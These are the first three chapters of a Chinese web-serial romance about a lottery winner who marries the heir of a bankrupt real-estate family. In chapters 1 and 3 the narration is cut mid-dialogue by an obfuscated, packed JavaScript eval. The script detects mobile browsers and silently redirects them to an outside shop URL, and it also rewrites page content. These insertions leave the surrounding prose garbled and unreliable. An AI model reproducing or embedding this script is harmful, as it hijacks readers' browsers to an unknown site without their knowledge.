《胡萝卜小姐[先婚后爱]》 1. 第 1 章 - 当地新闻报道：3月3日，盈江市六环外的一家彩票店刷新了历史最高中奖金额记录。 整整三千万的巨大奖励金额，半月之后，全数由一个叫“胡美美”的女人独占领去了。 同日，洛氏半百年来风风火火的房地产业也一夜巨变坍塌，洛家破产的消息于当日凌晨释出。 世事无常，让人唏嘘。 - 盈江市天晴转阴。 今天是四月一日，挑这个时候结婚，好像从一开始就预示了不幸。 胡美美从远郊开车前往市中心、经过半是老旧又半是新鲜的城中村时，头顶甚至压抑堆积起一片乌黑。 不多时，天上降下了雨滴，浇得城市统统不安和鼠窜起来。 宾利尴尬地堵在人行横道后，前车缓行卡着红绿灯。 顶包举伞的路人反复来回，后车摁起了喇叭催促。胡美美一秒降下车窗，伸出头去朝后面喊： “大哥！前面恁多人呐！” “不是我不走，我今天结婚，我比你还急！” 没了车窗封闭起空间的掩护，车里喜庆的音乐《大花轿》瞬间冲出。 在盈江市，没人会说方言，连流浪汉都讲普通话，而且谁能猜到豪车车主品味如此的接地气。 后车愣了一下，没听懂，又摁了两声“哔哔”示意。 胡美美“哎”了一声，几乎就要真情实感地吐出一句“俺不中了”。 前面，紧凑的行人松了个小口。 紧挨她的大众车倒是没动作，只是没想到，这时候，后一个野马却见缝插针，立刻鬼使神差般从右挤、一脚油门冲了上来。 胡美美还没反应过来，身体跟着车身晃了两下。野马声势浩荡，连刮了两辆车，又撞上一辆非机动车道的电瓶后才匆匆停下来，开个车比鬼还吓人，比股票跌破还叫人紧张。 大众车主：“六。” 他前后都是豪车，哪儿敢造次。 野马一直摁喇叭，压力他，他就知道得出事儿，果然，出了。 胡美美只听到连续的几声碰撞巨响，再睁眼，野马车主反倒生气了，放完手刹，气冲冲地就开门朝她走了过来。 “你干什么呢！？” 胡美美：？ 我？ 胡美美张大嘴、解开安全带，副驾手机震动，唱起同一首歌，《大花轿》二重奏。 野马车主吼完她，又径直朝大众车主去了，一顿输出。 “？” “我？！”大众车主愤然，感到不可思议，第一时间要找同是受害者的同伴，下车和对方理论起来，扑到宾利车窗： “哎，小姐姐！” “等等！”胡美美伸手阻拦，立马接起电话，在嘈杂中缩成一团，尽力挡住手机收音的位置。 “喂。” 兴许是人多了，堵的，对面传来滋滋的若有似无的电流声。 周围大喊大叫地吵着，路人在附近交头接耳，更严重的是，车队见状纷纷不时按起来喇叭。 胡美美这会儿根本就听不清对方，急得两条眉毛拧成一簇。 “你给我过来！”野马暴怒，一把抓住大众车主的后脖子。 “卧槽，” 又是一阵拉扯。 慌乱之中，胡美美闻到一股酒味，来自扑过来抓人的野马车主，顿时警铃大作。 “你喝酒了？”胡美美回头伸手搭上打开车门的门把手。 “酒驾？！”大众车主在反抗对方的途中动了动鼻子，果然闻到一股浓烈的酒味儿，顿时来了底气。 “你开车怎么能喝酒呢！” 几乎同一时间，胡美美和他一起质问了对方。大众车主一喜，有种危险之际看到了同伴终于赶来的欣慰。 结果，下一秒。 “你竟然酒驾，你知不知道要是你今天直接把我撞进医院，会耽误我多大的事儿？我正赶去结婚诶！” 胡美美接着说。 “呸！你现在过来掺和！”野马车主抓住她胳膊。大众车主一惊，没想到对方却被胡美美甩开了。 胡美美攥着手机、又去找大众车主，指着野马车主：“他竟然酒驾！” 大众车主：“就是！他全责没跑的！小姐姐，你和我一” “我今天结婚诶！”胡美美又强调。 大众车主被打断，呆了一下，不明所以。 胡美美越想越气，转身，又去告诉车队，一个一个的： 太过分了。 “你好，师傅，你听我说，前面那个野马他竟然酒驾！我今天本来要去和我老公扯证儿…” 对方猝不及防：“啊？” 胡美美绘声绘色，又去找下一个说， “你也好，我今天结婚…” 对方：“？哦，噢噢！” 大众车主目瞪口呆。 活了二十几年，他就没遇到过这么恐怖的社交恐怖.分子。 而且好神经。 他眼睁睁地见胡美美不厌其烦、一路过去，和十几号人孜孜不倦地讲了同一件事，反复和人说今天她结婚，眼睛越眯越窄，总觉得哪里不对。 这小姐姐！她到底是想到处跟人说自己结婚了还是想控诉野马车主呢？？ 结婚不就结婚嘛，有必要告诉所有人？ 重点是结婚吗！ … 胡美美又敲开一个车窗，正准备开口，瞧见里面坐着的人，顿了顿。 “黎行?” “你怎么在这儿？” 胡美美及时刹住。 黎行手里拿着文件袋，另一只手同样攥着手机，闻言抬头看了胡美美一眼，意外，和她打招呼。 下一秒，他手机又弹出消息，于是低头抓紧回复：“好的，咱们约下午三点看房子，你觉得如何？” 胡美美看着他发出去语音条，“咻”的一声，仿佛被什么砸了一下脑袋，猛地打了个机灵，想起来刚刚的电话，终于回神。 “喂、”她急忙举起手机，放在耳边。 “喂？” 对面没有回应。 …… 胡美美清了清嗓子，深呼吸一口，抬手擦额头的虚汗，夹着嗓子，又问了一遍，轻轻的。 “咳。” “喂，” “老公？” 话音落下，她尾调上扬，柔得过分，仿佛能捏得出水来一样。 同时，脸上也莫名奇妙荡漾出一抹若有似无的笑。 黎行低头滑着屏幕，切出去回复另外两位客户，抽空瞥了一眼对面：他的第三位大客户，不小心看见这幕，心照不宣，扯了扯嘴角弯起双眼。 “洛少爷打电话给你呢。”他故意调侃新人，自然地迎奉胡美美。 可惜，得到的却不是胡美美被打趣后应该表现出来的娇羞反应。 胡美美捧着手机，干等了一会儿，脸色变化，不多时垂下手，看了眼手机。 半响，她反应过来，后知后觉，才向黎行解释。 “哦、” 那个， “他早就挂了。” - “她今天结婚！诶，不是，”大众车主讲完当即抬手抽了自己一巴掌。 胡美美和交警描述完现场情况后沉寂了一会儿，黎行一直在身边，时不时帮她补充说明，顺便和野马车主周旋。 他的车虽然离现场有点远，但勉强也能算当场见证。 交警测过，野马车主确实是酒驾，甚至是醉驾，虽然野马说话利索，态度还很顽强，但其实精神状态已经不太好了，有点神志不清。 交警扣了他的车，还把他人也一并带走了去局子里，临走前，询问胡美美车怎么处理。 “能开走，先自己开去修理厂吗？” 保险已经报过了，交通事故认定书至少得下午开出来，胡美美可以选择先去修车，也可以选择等签完认定书再去。 胡美美选后者。 现场清理完毕，交通恢复正常。 结束了，黎行回头，看了一眼某位原本要去结婚的人。 胡美美还是又接着把车开去了民政局。 黎行临时决定跟着她一起。 因为，他怕洛骄益到时候连领证都不在，胡美美一个人无聊。 “谢谢你啊。”胡美美给黎行买了杯咖啡。 “没事儿，陪你说会儿话，别憋坏了。” “趁这个机会，正好我这里也整理了资料，很多房源，你看看有没有符合你和洛少爷期望的。” “这个？”胡美美没想到，那个文件袋居然就是专门为她准备的。 洛骄益要求有点多，还高，要市中心三百平以上、四面采光都好，周围住户不多，附近设施又好; 不堵车、不吵，不高又不低，潮湿度在40%左右;自带两百平花园庭院泳池，一百平地下停车场，且周围保证没有任何宠物出没，整个户型是圆形，但客厅又是方形，衣帽间是梯形，浴室是四叶草型的那种房子。 “真有这种？”胡美美直起腰，想到这神一般的要求，打开文件袋时对黎行由衷地肃然起敬了。 黎行很命苦地笑了声，熟练委婉地用上销售话术含糊其词，只让胡美美先看看有没有中意的就是。 “麻烦你了，”胡美美翻开资料。 “其实，我老公他也不是故意要提这么多要求的，只是因为和我结婚太勉强他，他心里不高兴。” 所以才故意提这种要求为难她。 胡美美现在缓过来了，话匣子一打开，就没有要关上的概念。 “害，也没事，我作为追求者，迁就他是应该的。” “哦？”黎行礼貌接话。 胡美美开口，连续讲了十五分钟，一刻也未曾停歇。高强度说话之后，她一点儿也不累，甚至连水都不用喝一口。 黎行这样擅于和人交际和倾听的职业，也听得愣了愣神，喝了口咖啡，努力从中获取有用信息，分析客户： 很戏剧性的。胡美美和洛骄益这两个人，原本应该是天差地别、八竿子打不着，一辈子不会交集的。 一个，只不过是个普通的小美女，手里没什么积蓄，家底也更是没有，没资源没实力，说话偶尔还夹带方言，有点土土的。 一个却是前房产大亨的继承人、天之骄子。 胡美美对洛骄益一见钟情，并对他展开了追求，洛骄益嗤之以鼻。 没想到，有一天，她中奖、他破产，胡美美承诺把这笔意外之财税后所得全都交给洛骄益，只求洛骄益能和她结婚好好过日子。 债务当头，洛骄益也只好答应。不过看他表现，显然是不可能会和胡美美好好过日子的，说不好今天这婚都不一定能结得成。 黎行又咂摸了两口咖啡，大脑在飞速运转：如果胡美美和洛骄益不能成，他的单子怎么办？ 胡美美自己根本没有任何购买力和需求，她连今早开过来这辆车都是为了洛骄益才买的，行驶证还是洛骄益的名字。 听她描述，洛骄益完全就是一个少爷脾性，事儿得不行，胡美美过两天忍受不了了又不和洛骄益好了怎么办？ 现实比戏剧荒谬，人和人之间的走向，谁能说得准。 而钱就是现实。 黎行转了转眼珠，皱眉，试探：“胡小姐，” 洛骄益，是个什么样的人？ 再详细点讲，说说他的原生家庭，成长经历，还有思想品德。 “我还挺好奇你是怎么对他一见钟情的。”黎行双手交叉，放在膝盖，笑问到。 胡美美闻言，停下翻页的手势，抬头想了两秒。 接着，毫不犹豫： “对！他腿很长，还好看，而且他喜欢穿大深V和包臀西装！” 黎行“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372049|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 几乎，就她话音落下那一刻，与此同时，另一边。 浅棕色宽松、拖长到他臀部的西装上衣，唯一一颗纽扣合在腰胯附近。 因此，外套自然形成的超深大“V”形领子，夸张却又意外体贴地包裹住了里面的暗蓝色领带，还有他的衬衣、衬衣下的紧实胸腹。 裤子和皮鞋也都是浅棕的。洛骄益面无表情板着张脸，双手抄兜，下车走进民政局自动感应横移打开的大玻璃门里。 刚好盖住他臀部的外套衣尾随着他步行的速度晃荡，像潮汐海浪，拍打着沙滩，西装裤被极长劲瘦的双腿撞出好看的褶皱形状。 秦佳柔在一旁跟着，小声和儿子商量。起初态度还算缓和： “是因为发生了一个车祸，胡美美不是和你说了吗，不再想一下？” 洛骄益不言，脸色不佳。 秦佳柔又劝。 “婚姻不是小事。” “不能说结就结，说取消，就随你取消掉。” “即便你们没有感情，你也不能现在就上去告诉她，你又不愿意结了。” 洛骄益脚下生风，还是置若罔闻。 他走太快，秦佳柔跟得辛苦，这下才有被气到，加重了些语气。 “再说了！婚是你当初自己要定下来的，我们都不喜欢那孩子，你非要和她结婚，现在又出尔反尔？” “怎么了？事到如今，难道，你要说你又讨厌她了？” —— “那当然！”胡美美合上文件资料。 选了半天，还是觉得都不合适。 黎行尽力把话题掰回来，引到胡美美说点正经的，比如问她洛骄益是不是讨厌自己。 这一点，胡美美可以肯定。但要说之后呢，之后的事，胡美美就说不准了。 “以后怎么样我也不知道，大概率会一直讨厌我吧？”胡美美其实也挺有自知之明的。 “想不到，他会喜欢我什么。” 黎行也一样想不到。 “没事，至少得到过。” 马上，在他们领证后，从那一刻起，胡美美就算拥有过了，那样的话，不管将来如何，都不算遗憾。 黎行程序化地宽慰了她几句。 “房子的事，还是得尽快买下来，”客套过后，他又昧着良心胡诌，带出真正想说的话。 “不然，洛少爷一直不满意，也不是个事儿，你们的感情容易出现问题。” 胡美美听到“领证”。自嘲一笑。 洛骄益到现在还没到现场，领证的事悬着，八字都没有一撇。 虽然，早就知道，但他这样行事，未免有点太不在意她了。 洛骄益今早叮嘱过她，要亲自开车过去接他来民政局里，来的路上，还必须看着点。 时间错过了，或者要是胡美美敢不去接嫌麻烦，他就马上反悔退回她的求婚戒指，但仍然可以拿走胡美美的钱。 所以，洛骄益这时候要悔婚，完全有理有据，完全占据上风，完全不会有任何亏损。 洛骄益依旧闷着，踏出电梯跟随着路指抬脚往办事处走去，秦佳柔适时止步。 结婚办和离婚办挨着，一个在走廊这边的尽头，一个在走廊那边的尽头。 洛骄益经过两对不知是要去结婚还是离婚的情侣或夫妻，其中，有一对儿十指相扣，正在互相耳语着什么。 远远的，那边，尽头，黎行和胡美美坐在一起。 洛骄益刚走近，一看，立刻停下了脚步，毫不犹豫转身，背对那边、当即便往回走了回去。 秦佳柔目睹，表情变化，但因为两人距离太远，不方便做出交流。 看见她的表情，洛骄益顿了顿，又抿唇停下来，站在原地。 就这样，走廊陷入沉默。 事情的发展和洛骄益的态度都很微妙，秦佳柔不由地担心，偏偏洛骄益又不肯表明心意。 两人隔空僵持着，互相有些难受，暂时找不到如何正确行动的方法，一度更冷，总之都不开口，只有那一对小情侣，不看氛围，还在自顾自地讲着小话。 “....” “你应该”“＃％＆...” 洛骄益放空着。 “美美，” 突然，私语传进耳朵里。很轻的一声，像鹅毛落进湖泊，而且夹杂在长短交织、并不简单的对话里。 洛骄益却第一时间反应，压眉，下意识寻声而去。 刚刚侧过身一秒，身体倾斜了一点几乎可以视作没有的角度，他一顿，又立刻反应过来，理智回笼，飞速挺正身体。 将那一点几乎可以视作没有，但他自己却清清楚楚、明白知道的角度，扳倒回来。 “……” 正常来说，一般人是听不见这个关键词的，很难。 因为那只不过是别人很普通很常见的交流，根本无事发生。 是他，对“美美”太敏感了，异于常人。 所以才会马上做出反应。 洛骄益脸色一黑，倏地浑身血液凝固了，不确定秦佳柔有没有发现他的不对，悔意瞬间填满身心。 或者，又有没有什么别的人发现他恼羞成怒了，因为一个单词正在独自崩溃。 整栋建筑都在毁坏崩溃、时间停摆，走廊空气凝固，充斥着诡异的暗波。 小情侣还旁若无人。 洛骄益绷紧脸，心情糟糕到极点，忍不住丢了个烦躁的眼神过去，无端的，开始怪罪。 明明不是需要刻意保持太安静的场合，有的人却偏偏要在公共区域里贴在一起讲悄悄话。 而且，明明有那么多话可以讲，有的人却偏偏要提到让他闹出一场难堪的那两个字。 “美美”。 呵。 洛骄益咬牙切齿。 真搞不懂。 胡美美这个名字，取得非常不好。 2. 第 2 章 “怎么了？”秦佳柔还是走了过去。 洛骄益摆出反问她的表情。 “你刚刚，有一点紧张。” “？” “有人说话，你一下就转过去了。” “。” “就在刚刚。”秦佳柔复刻他的动作，迅速侧身，又见了鬼似的迅速收回。 “就像这样，我亲眼看见。”秦佳柔说。 出什么事了？ 隔得太远，秦佳柔是真的一丝都没有听见，觉得儿子莫名奇妙。 洛骄益只有沉默。 见他不肯承认，秦佳柔不信邪地又向他演示了一遍，洛骄益被彻底惹毛，一声不吭，立刻转身丢下她走了。 - 要想逃离，只能躲去她的对面，去结婚办那边。 恰好，那对耳语了许久的情侣也终于聊够了。 总算是聊够了。 洛骄益刚刚跨出去一步，那两人就像是和他有心灵感应一样，非要和他碰一碰，也跨出一步。 洛骄益放慢速度，让他们走在前，不近不远地跟在他们身后。 小情侣很恩爱，男孩儿看着和他差不多，是刚二十出头的年纪，女孩儿就大些，将近三十。 胡美美也快三十了。洛骄益没头脑地突然想。 女孩儿挽着男孩儿的胳膊，笑眼盈盈，男孩儿有点激动，一路上拿着俩人的户口本反复不停地看。 洛骄益仗着自己高，视力好，看清楚：那上面写着，女孩儿叫“周筱美”。 “周筱美”，所以，“美美”是她的昵称。 ——难听。 小情侣喜气洋洋地头挨着头在工作人员身边、拱来拱去要红本本时，洛骄益才慢吞吞沿着他们走过的路来到七米开外，然后发现胡美美在和工作人员聊天。 刚刚和他坐在一起的男人已经不见了。 经济下行，加上社会文化风尚的变化影响，登记处早就没有了当年的风光。 整个办事厅拢共才六个人，而这其中，真心携手想去奔赴婚姻的唯一，只有那对小情侣。 洛骄益眼前是一面正红色的大墙，国徽图案下，贴着“依法登记，热情服务”六个大字，桃木椅桌和现代电脑成套搭配在一起，有几分怪异，左右两边的双喜也显得阴森。 胡美美染黑了她的短发，摘下了她脸上那些乱七八糟的钻，还有两边嘴角弯弯的那对像鱼钩一样的东西，洛骄益不知道那叫什么，总之她现在看起来总算是没那么“精神”了，让他的眼睛稍微感觉舒适了些。 工作人员从抽屉里找出章来，胡美美歪头看着别人的结婚证落地，小嘴叭叭的又讲了一堆，才撤走支在桌上的胳膊站直抱胸，抬眼看见他。 两个人隔空对视，互相沉默，一言不发，尤其是胡美美这个健谈的人，这时候反而呆傻住了，什么话也讲不出。 和他中间存着无数阴翳。 盈江市的天气不好，雨通常都急促短暂，但一点点的雨就能坏掉一整天，因为雨落下前后，天际永远挂着散不去的乌云。 所以办事处侧边的大落地窗透过来的光才比较暗沉，神似他们之间说不清的氛围真实化形。 整个大厅的布局是镜子般对称着的，洛骄益身后，同样有一面正红色的大墙，上面悬挂了一个大字，从胡美美那里看过去，眼前就是他、还有他身后的汉字挂饰。 是一个“缘”字。 - “我以为你没看见我发的消息，不过来了呢。” 因为人少，办/证程序走得相当的快，胡美美拿着本本儿看照片，不是很满意。 “把她的照片处理得好看点，至少看起来没那么寒酸。”洛骄益点了点屏幕，指着电脑里胡美美的脑袋。 胡美美笑得僵硬，因为太累，光拍照片这一步，洛骄益就折腾了他们快一下午。 她足足配合洛骄益反复拍了二十次照片。 闻言，工作人员露出一个和胡美美一样笑得很僵硬和累的死亡微笑，胡美美上前去，打圆场，无脑帮洛骄益说话： “最后一次了。他是比较细心，和别人不一样。” “我老公他就是这样的人，你别介意，他对我也这样的，所以绝对不是没事儿找事儿！” “我求婚的时候，不是送了他一个钻戒吗，但是他不喜欢，” “哎呦！好了好了！”工作人员疲惫地抬手，示意胡美美打住。 她是烦够了洛骄益永远提不完的要求和扣不完的细节了，但不代表她就想听胡美美讲故事。 讨厌你老公，而且也讨厌你！ 工作人员捂住耳朵。 胡美美又说了一遍“不好意思”，退到一旁，过了会儿，没忍住，憋着笑。 “还是用第一版就好。” 等到洛骄益发号施令后坐上靠椅看手机，胡美美又凑近去，扒开工作人员捂住自己耳朵的手。 每次，都等洛骄益注意力转移后，她都这么跟工作人员说，然后再偷偷塞给工作人员红包。 红包是黎行帮忙准备的，胡美美专门去洗手间找的人，幸好，对方接了通长电话，还没有走，他去洗手间的时候洛骄益正顾着怪罪胡美美名字取得不好，所以没发现他。 “好了！快走快走！”工作人员把照片撕下来，重新贴上胡美美和洛骄益第一次拍下洗出的证件照，胡美美那时还未遭受摧残，状态尚佳，相当认可这次的成果。 洛骄益一会儿认为他们俩坐的位置不对需要调换，一会儿要要求他们之间坐的距离要保持在20cm之内但又要在10cm之外。 一会儿，要胡美美不准咧开嘴笑抿唇微微笑，一会儿又觉得摄影室里空气让人不适，胡美美笑得太难看，还是大开大合些好。 “我还以为你没看见我发的消息，今天不过来了。”胡美美眼疾手快，抓着结婚证就跑，以防洛骄益还想要继续拍下去，走在前头，回头又问了洛骄益一遍。 “车刮了不好看，我再开过去接，怕你嫌弃不喜欢。”她解释。 这些她都有在手机和洛骄益讲过一遍，但再来一遍也无妨。 胡美美诚恳又认真：“其实如果你今天真没来也没关系，我就在这儿和人聊聊天休息一下就行。等到她们民政局的下班了，就把车又开回去，我们改天再约。” 胡美美：“早上你打电话怎么挂那么快？是我接得太晚了吗？” “我那个时候在处理事故，忘记了，不是故意的。” “你生气了吧，要不明天给你买辆车？胡美美一路问过去，观察着洛骄益的态度。 她像只叽叽喳喳的小鸟，如果不拼命嚎叫，就换不回在天空中自由飞行的权利，而相比而言，洛骄益仿佛就是掌控她能不能飞行的至高无上的天空本身。 “对了，你是 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胡美美好险没有来得及，跑进电梯后心有余悸地拍了拍胸口，盯着电梯门迅速合上。 地中海男人目睹一切，端着大茶钢水杯疑惑地看着他们，又不可置信地往他们来时的方向看去： 结婚登记处。没错，所以就更疑惑了。 因为他没见过。 这是什么新型夫妻？ 感情这么差，差到男方居然连等女方一起进下电梯都不愿意的。 是真夫妻吗？ 地中海困惑地抓着腰间的皮带往上提了两下，停在电梯前思考了一阵，又努着嘴去找茶缸，反刍了两下，将口腔里咀嚼过的茶叶精准地吐回杯子里。 - 电梯下行。 密闭空间里，孤男寡女，新鲜的合法夫妻。 什么也没有发生。 胡美美原本是要接着叽叽喳喳叫的，奈何她接了两个电话。 一出电梯，交警就首先闪了个通知过来，说可以找时间去签交通事故认定书了，需要她还有大众车主都到场，至于野马车主，他直接喜提了十日拘留。 “好。”胡美美应，下意识去看洛骄益。 洛骄益也还是没有停下来或放慢速度等她，胡美美眨眼的功夫，只是在原地掏出手机耗费了点时间，那人就直接走出去了两三米远，害她好追。 第二通电话，是黎行打过来的，问候她领证的事儿怎么样了，胡美美刚追上洛骄益，手里的结婚证掉了一本，弯腰去捡，一边回复着黎行，再抬头洛骄益又独自走出去了一截距离，有点累了，就没有继续再追。 黎行问的不算详细，胡美美跟他唠了不到一分钟。 结果就是这不到一分钟的时间里，突然，走出去一截距离的洛骄益又不知道为什么折返了回来，杵在她面前。 “？” “怎么了？”胡美美呆呆地问。 洛骄益摆出反问她的表情。 - “这个人，是在我之前，陪你来民政局的那个男人对吗。” 他指黎行，指此刻正在和胡美美通电话的“这个人”。 就是“这个人”，让他第一眼看到他们在办事处坐在一起聊天后，就果断转身选择了离开。 可惜未遂。 胡美美：…… ? 3. 第 3 章 民政局附近不能停车，走去最近的停车场，还要步行两百米左右。 胡美美是老实把车停进车库的，但洛骄益不怕被罚，不愿意走那么远，车就在不远处。 被雨润湿过的地面没有干透，斑驳点点，一看就造价不菲高级定制的浅棕色皮鞋和经典款运动小白“面对面”站立，倒影残缺不齐。 洛骄益的语气和姿态让胡美美摸不着头脑，他下压着嘴角，五官愤怒地挤到一处，身体微微向她倾斜，呈明显的攻击形态。 胡美美顿时感觉愧疚，因为虽然不知道为什么，但她惹洛骄益生气了。 于是胡美美道歉。 没办法，一段关系中，往往谁拥有感情，谁就会卑微。却没想到洛骄益听了反而更生气了，一幅被羞辱了的模样。 “这就承认了。”洛骄益从鼻尖里哼出一声嘲讽，“你什么意思？” “如果我不到场，你就决定改和这个人领证？” 胡美美：“啊？不是。” “不是，那他为什么会出现在那里，现在又和你打电话，这个人不是陪你去民政局的人吗。” “民政局？” “对呀，是他。” 语毕，洛骄益身上的气压瞬间又低了个八度。 “是他，你为什么在意这个？” 就因为这个特意折返回来，胡美美还以为他临时想起了什么大事呢。 电话还没挂断，黎行听见动静，识趣地跳出来主动解释，和洛骄益打招呼，插入他们的争论。 “洛先生在你身边？” “我和胡小姐是今天在民政局偶然遇见的，洛先生，我是欣兴房销的销售，听胡小姐说您有购房需求所以当时坐下和她聊了会儿。” “胡小姐很在意您，对您的需求极其看重，我们全程都在探讨能尽力满足您的方法。” 黎行隐去了前情，加入了一点无关轻重的谎言，胡美美还没有来得及告诉洛骄益自己去找了销售的事，如果实话实说，要解释为什么他会陪同胡美美出现在民政局有些麻烦。 总不能说：“因为明眼人都看得出来，你洛骄益大少爷脾气，肯定干不出什么好事儿，一看就不靠谱。” “把人女生一个人丢民政局的话，胡美美也太可怜了”。 太没情商。 洛家破产的新闻，全市人基本上都知道，那可是好一段谈资。胡美美一开始找到他，提到“洛骄益”这个名字，黎行就猜到了会是这种结果，他们俩的结合，胡美美处于下风，且大概率会一直处于下风，最后结局无非是走向失败。 不过没关系，房子卖了就行。 洛少爷年轻气傲，初经人生大事，一夜之间从天之骄子沦为女人出钱就能捏在手里的玩物，混成这样，肯定饱受议论，对胡美美有脾气倒是也能理解。 不过，黎行笑笑，打趣，“听洛先生质问胡小姐的语气和话，怎么感觉洛先生是因为胡小姐和异性接触吃醋了？” “原来洛先生也对胡小姐有这么浓厚的感情？” 黎行恶意揣测和调侃。 胡美美一听，来了劲，有种恍然大悟的感觉，黎行敢说，她也敢信，再抬头看向洛骄益时耳廓就红了。 洛骄益不可能无缘无故反常、良心发现折回来等她。 要等的话，早在电梯那里就等了。 偏偏是在他和黎行通电话的时候，在他和异性接触时，如黎行所言。 所以... 胡美美眼里闪着光，有个念头呼之欲出，期待洛骄益如何反应。 只要他不否认，胡美美就当是了！ “洛先生，”始作俑者也很想看洛骄益的表现。 他总觉得自己这一手助攻还挺不错的，说不定可以帮他们感情升温，然后更快拿下房子，给他一个大单。 话还没完，洛骄益毫不留情地打断了他。 “你从哪里看出来。”洛骄益冷到。 “我对她有感情？” “...” “销售是吧，吃饭的本事，就是乱说话。工作之外的场合，劝你不要随意胡诌。”他抢过胡美美的手机。 “……哈哈。”黎行皮笑肉不笑地接了。 胡美美期待许久，得来当头一棒，立在原地一时语塞。 “洛先生，” “嘟，嘟。” 洛骄益后来更是直接给他挂了。 这一出坚决的否认，看似打脸黎行，实则是给胡美美的下马威，向她表明自己的态度，警告她不要再妄想一些不切实际的事情。 他们因为钱结婚，因为胡美美愿意把钱都交出去，所以洛骄益才答应的，正好洛骄益现在没钱。 替胡美美结束通话之后，洛骄益仍然在气头上。 洛骄益随手把东西还给胡美美，转身就走，胡美美叹了好大一口气，卡着他的身影快消失前叫住他： “哎等等，那交通事故认定书你能陪我去签吗？” 刚领完证，他们之间就出现了这么个矛盾，洛骄益这么绝情，弄得她还挺伤心的。 但矛盾终究事小，洛骄益冷漠也无伤大雅，胡美美和他结婚，是知道他冷漠还要和他结的，承担得起。 伤心一下又不会怎么样，胡美美想让洛骄益陪她一起去交警大队，想和洛骄益多待会儿，所以要争取。 万一呢。 争取一下同样也不会怎么样。 再说了，黎行的事是上一件事，认定书是下一件，两者之间又没有关联。 洛骄益大步流星，闻言脚步虚浮，飘了两下，带着惊讶不解回头， “…” “刚吵完架，你叫我陪你去签认定书？” 胡美美回应他捣蒜式的点头：“对啊对啊。” “不行吗？” 犯法？ 洛骄益卡了一下，“你不方便？” “方便呀，只是想带你一起去！” “你能去吗？有时间吗？” “你回去也没事儿忙吧，能和我一起吗？”胡美美抱着结婚证和手机，小跑到洛骄益身边。 洛骄益震惊到瞳孔放大，又沉默着，无语地顶了顶牙。 没有回答，拔腿走了。 “哎！？”胡美美后悔，“完啦，是不是我说不方便的话，其实你就答应我了？” “……”洛骄益闻言又虚浮了两下，随后加快速度，迅速甩下胡美美离开。 但也没有否认。 - - - 交警队快下班了，如果不是认定书出得快，他们也不会叫胡美美过去。 当然，是野马车主的全责，签完字这事儿就算彻底结了。 “辛苦了。” “没事儿，那家伙喝酒开车，蔑视生命，已经批评教育了。” “你今早开车是去结婚是吧，恭喜啊。”警官摆摆手。 胡美美笑了笑，点头，“是！结婚证还在我这呢。” 两份都在，洛骄益也不说拿一本走之类的，好像结婚这件事他就没参与过一样。 警官不急着走，忙了一天，结束工作了之后才得空抽上一根烟放松，点火之前还给胡美美递了，胡美美没要。 大众车主有事，没来。 警官将目光投向她边说就边拿了出来的红本本，蓄意：“哟？” 胡美美正有此意，和他相视一笑，正愁没人分享呢，递过去，“新鲜出炉的，你看看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372051|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拍这证件照花了我们好长时间呢，我老公他比较注重细节。” 两人一拍即合，然后就开始唠。 说起喜事，人总会高兴，警官接过东西乐了两声，看过照片还夸洛骄益帅，直到视线移了移，发现他的名字。 “洛骄益？” “嗯嗯！” “啧。” “是不是洛成虎那儿子，破产那个？” “是呀。”胡美美实话实说。 警官的笑变成尴尬的笑，欲言又止。 半小时后，胡美美出了交警大队，给修车厂负责人打了个电话。 对面表示愿意这个点还接下她的车，胡美美就顺路过去也把这事儿给处理了。 “刮的漆比较多，前保险杠有点坏，还有后面的车尾灯，我尽量三五天之内的时间给你处理完吧。”修理厂老板说。 胡美美：“没事儿，不急，我平时拿车也没用。” “诶，上班的话呢，没有车开还是不方便的！”老板是个有些胖、很强壮的中年女人，说话铿锵有力。 胡美美解释，“我没上班，不是本地的，刚来不久，和人结婚了。” “没上班啊，那确实不怎么耽误。” 老板了然，接着，又露出八瓣牙齿，“结婚啦，老公怎么样？” 帅不帅，靠不靠谱，俩人怎么认识的？ 八卦是人的天性，胡美美眨眨眼，乐得和人讲，不厌其烦，顺势托出： “帅呀，比我小接近十岁，很年轻很高，183，很细心。” “你也不矮！北方孩子吧！”老板夸他们般配。 但当胡美美说出洛骄益的名字后，老板又突然为难了起来，反复和胡美美确认。 洛骄益？？？ “洛骄益啊…那个洛家的，你们俩怎么会在一起的？！” 那可是搞房地产的，他们这儿最有钱的人之一，就算破产了，也怎么可能会和一个普通人结婚了？ 没有新闻报道他结婚了啊！？ “因为我中彩票了啊，我把钱全部给他，他就和我结婚。”胡美美见怪不怪，没有被不理解的不适，只有讨了个好老公的喜悦。 “彩票？” “哦…噢噢，哎哟，我以为只是同名呢，你就是那个胡美美？”老板咂舌。 真是神奇，剧本都写不出来的剧情，竟然在现实中上演了。 竟然让她遇到当事人。 老板怕她问的冒昧，但又实在好奇，“妹妹，你彩票虽然是中的多，税后…” “税后两千多万，已经全转给我老公了，一分不剩，我开销用度还得反过来找他要呢！”胡美美大大方方的。 老板点头认可，“嗯，是不少的钱了。” “但对洛家来说，估计不算什么哦？” “别看新闻报道，洛家破产，你是外地人，不知道，洛家的房子是盈江卖的最好的。” “他们做这一行半百年了，红火的日子跟我岁数一样大，所以，雷声大雨点小。他们手里肯定还有余钱呢，只是现在修的那些房子确实是报废了。” “……” “姐说句实话，但可能不好听。” 